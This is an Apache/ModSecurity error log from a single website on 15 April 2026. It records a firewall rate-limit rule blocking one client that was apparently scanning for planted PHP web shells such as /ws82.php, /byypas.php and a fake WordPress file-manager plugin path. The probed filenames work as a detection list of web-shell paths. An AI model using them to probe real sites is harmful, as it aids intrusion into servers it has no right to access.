[Wed Apr 15 19:01:50.509742 2026] [:error] [pid 30957:tid 31012] [client 51.120.68.159:24734] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9wHn5gwVEVXHfVSiprewAAAFc"]
[Wed Apr 15 19:01:50.610323 2026] [:error] [pid 30957:tid 31004] [client 51.120.68.159:44126] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9wHn5gwVEVXHfVSiprfAAAAE8"]
[Wed Apr 15 19:01:51.109481 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:23679] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9wH3g-gnM2Ga0cGAD7mAAAAQ8"]
[Wed Apr 15 19:01:51.216128 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:21718] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9wH3g-gnM2Ga0cGAD7mQAAAQw"]
[Wed Apr 15 19:01:51.755704 2026] [:error] [pid 37370:tid 37374] [client 51.120.68.159:25461] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9wH3g-gnM2Ga0cGAD7nAAAAQI"]
[Wed Apr 15 19:01:51.829256 2026] [:error] [pid 30956:tid 30976] [client 51.120.68.159:3770] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9wH0BGUpjaWntNYq1dewAAABA"]
[Wed Apr 15 19:01:52.340370 2026] [:error] [pid 30957:tid 30997] [client 51.120.68.159:23641] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9wIH5gwVEVXHfVSiprgAAAAEg"]
[Wed Apr 15 19:01:52.390147 2026] [:error] [pid 30956:tid 30974] [client 51.120.68.159:56965] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9wIEBGUpjaWntNYq1dfAAAAA4"]
[Wed Apr 15 19:01:52.895217 2026] [:error] [pid 31053:tid 31080] [client 51.120.68.159:3723] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9wIBcEkLCmvF0fjDelEgAAAJg"]
[Wed Apr 15 19:01:53.044464 2026] [:error] [pid 31053:tid 31070] [client 51.120.68.159:9080] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9wIRcEkLCmvF0fjDelEwAAAI4"]
[Wed Apr 15 19:01:53.437435 2026] [:error] [pid 37370:tid 37375] [client 51.120.68.159:9061] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9wIXg-gnM2Ga0cGAD7ngAAAQM"]
[Wed Apr 15 19:01:53.646118 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:16308] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9wIRcEkLCmvF0fjDelFAAAAJE"]
[Wed Apr 15 19:01:53.981852 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:24745] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9wIRcEkLCmvF0fjDelFQAAAIA"]
[Wed Apr 15 19:01:54.260531 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:3421] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9wIhcEkLCmvF0fjDelFgAAAII"]
[Wed Apr 15 19:01:54.538523 2026] [:error] [pid 30958:tid 31032] [client 51.120.68.159:57021] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9wIseG3wSKTO7NWFGIqAAAANA"]
[Wed Apr 15 19:01:54.806078 2026] [:error] [pid 30957:tid 31011] [client 51.120.68.159:25430] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9wIn5gwVEVXHfVSiprggAAAFY"]
[Wed Apr 15 19:01:55.096196 2026] [:error] [pid 30956:tid 30970] [client 51.120.68.159:24714] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9wI0BGUpjaWntNYq1dfwAAAAo"]
[Wed Apr 15 19:01:55.642550 2026] [:error] [pid 30958:tid 31027] [client 51.120.68.159:25449] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9wI8eG3wSKTO7NWFGIqQAAAMs"]
[Wed Apr 15 19:01:55.699848 2026] [:error] [pid 30958:tid 31033] [client 51.120.68.159:16287] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9wI8eG3wSKTO7NWFGIqgAAANE"]
[Wed Apr 15 19:01:56.197367 2026] [:error] [pid 30958:tid 31038] [client 51.120.68.159:24736] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9wJMeG3wSKTO7NWFGIqwAAANY"]
[Wed Apr 15 19:01:56.248184 2026] [:error] [pid 30957:tid 30989] [client 51.120.68.159:56987] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9wJH5gwVEVXHfVSiprgwAAAEA"]
[Wed Apr 15 19:01:56.808611 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:22483] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9wJBcEkLCmvF0fjDelGwAAAJc"]
[Wed Apr 15 19:01:56.878617 2026] [:error] [pid 31053:tid 31072] [client 51.120.68.159:24340] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9wJBcEkLCmvF0fjDelHAAAAJA"]
[Wed Apr 15 19:01:57.346719 2026] [proxy_fcgi:error] [pid 31053:tid 31061] [client 51.120.68.159:9060] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:57.472876 2026] [proxy_fcgi:error] [pid 30956:tid 30971] [client 51.120.68.159:24049] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:57.620479 2026] [proxy_fcgi:error] [pid 31053:tid 31057] [client 51.120.68.159:9060] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:57.734956 2026] [proxy_fcgi:error] [pid 30956:tid 30968] [client 51.120.68.159:24049] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:57.882985 2026] [proxy_fcgi:error] [pid 31053:tid 31060] [client 51.120.68.159:9060] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:57.996928 2026] [proxy_fcgi:error] [pid 30956:tid 30961] [client 51.120.68.159:24049] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:58.145678 2026] [proxy_fcgi:error] [pid 31053:tid 31062] [client 51.120.68.159:9060] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:58.261531 2026] [proxy_fcgi:error] [pid 30956:tid 30963] [client 51.120.68.159:24049] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:58.424083 2026] [proxy_fcgi:error] [pid 31053:tid 31059] [client 51.120.68.159:9060] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:58.523217 2026] [proxy_fcgi:error] [pid 30956:tid 30978] [client 51.120.68.159:24049] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:58.693940 2026] [proxy_fcgi:error] [pid 31053:tid 31070] [client 51.120.68.159:9060] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:01:58.781439 2026] [:error] [pid 30956:tid 30973] [client 51.120.68.159:24049] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad9wJkBGUpjaWntNYq1diQAAAA0"]
[Wed Apr 15 19:01:58.953060 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:9060] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9wJhcEkLCmvF0fjDelIwAAAII"]
[Wed Apr 15 19:01:59.392005 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:3249] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad9wJxcEkLCmvF0fjDelJQAAAIw"]
[Wed Apr 15 19:01:59.933826 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:12098] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9wJ3g-gnM2Ga0cGAD7pAAAAQs"]
[Wed Apr 15 19:02:00.166880 2026] [:error] [pid 37370:tid 37382] [client 51.120.68.159:16274] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad9wKHg-gnM2Ga0cGAD7pgAAAQo"]
[Wed Apr 15 19:02:00.545152 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:12517] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9wKHg-gnM2Ga0cGAD7qQAAARM"]
[Wed Apr 15 19:02:00.753557 2026] [:error] [pid 30957:tid 31012] [client 51.120.68.159:11338] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad9wKH5gwVEVXHfVSiprhgAAAFc"]
[Wed Apr 15 19:02:01.484503 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:44140] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9wKXg-gnM2Ga0cGAD7rAAAAQw"]
[Wed Apr 15 19:02:01.502270 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:27295] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9wKXg-gnM2Ga0cGAD7rQAAAQA"]
[Wed Apr 15 19:02:02.202668 2026] [:error] [pid 30957:tid 31001] [client 51.120.68.159:12526] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9wKn5gwVEVXHfVSipriAAAAEw"]
[Wed Apr 15 19:02:02.322887 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:3443] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9wKseG3wSKTO7NWFGIsgAAANU"]
[Wed Apr 15 19:02:02.864071 2026] [:error] [pid 31053:tid 31062] [client 51.120.68.159:20910] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9wKhcEkLCmvF0fjDelKgAAAIY"]
[Wed Apr 15 19:02:03.040942 2026] [:error] [pid 30956:tid 30980] [client 51.120.68.159:25439] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9wK0BGUpjaWntNYq1diwAAABQ"]
[Wed Apr 15 19:02:03.672413 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:19767] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9wK3g-gnM2Ga0cGAD7rgAAAQQ"]
[Wed Apr 15 19:02:03.679505 2026] [:error] [pid 37370:tid 37377] [client 51.120.68.159:11299] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9wK3g-gnM2Ga0cGAD7rwAAAQU"]
[Wed Apr 15 19:02:04.285667 2026] [:error] [pid 30957:tid 31006] [client 51.120.68.159:22526] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9wLH5gwVEVXHfVSipriwAAAFE"]
[Wed Apr 15 19:02:04.369768 2026] [:error] [pid 37370:tid 37375] [client 51.120.68.159:50648] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9wLHg-gnM2Ga0cGAD7swAAAQM"]
[Wed Apr 15 19:02:04.917833 2026] [:error] [pid 37370:tid 37396] [client 51.120.68.159:11288] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9wLHg-gnM2Ga0cGAD7tAAAARg"]
[Wed Apr 15 19:02:05.495964 2026] [:error] [pid 37370:tid 37395] [client 51.120.68.159:44102] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9wLXg-gnM2Ga0cGAD7tgAAARc"]
[Wed Apr 15 19:02:05.828831 2026] [:error] [pid 30958:tid 31038] [client 51.120.68.159:19750] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9wLceG3wSKTO7NWFGItAAAANY"]
[Wed Apr 15 19:02:06.412908 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:9073] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9wLhcEkLCmvF0fjDelLAAAAJE"]
[Wed Apr 15 19:02:06.520404 2026] [:error] [pid 30958:tid 31021] [client 51.120.68.159:12135] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9wLseG3wSKTO7NWFGItQAAAMU"]
[Wed Apr 15 19:02:07.638841 2026] [:error] [pid 30958:tid 31031] [client 51.120.68.159:31613] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9wL8eG3wSKTO7NWFGItwAAAM8"]
[Wed Apr 15 19:02:07.746676 2026] [:error] [pid 31053:tid 31071] [client 51.120.68.159:21270] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9wLxcEkLCmvF0fjDelLQAAAI8"]
[Wed Apr 15 19:02:08.463486 2026] [:error] [pid 30957:tid 31013] [client 51.120.68.159:12158] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9wMH5gwVEVXHfVSiprjgAAAFg"]
[Wed Apr 15 19:02:08.645750 2026] [:error] [pid 30957:tid 30992] [client 51.120.68.159:3424] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9wMH5gwVEVXHfVSiprjwAAAEM"]
[Wed Apr 15 19:02:09.095814 2026] [:error] [pid 30957:tid 31008] [client 51.120.68.159:12132] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9wMX5gwVEVXHfVSiprkAAAAFM"]
[Wed Apr 15 19:02:09.737359 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:17089] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9wMXg-gnM2Ga0cGAD7ugAAARY"]
[Wed Apr 15 19:02:09.769072 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:17101] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9wMXg-gnM2Ga0cGAD7uwAAARM"]
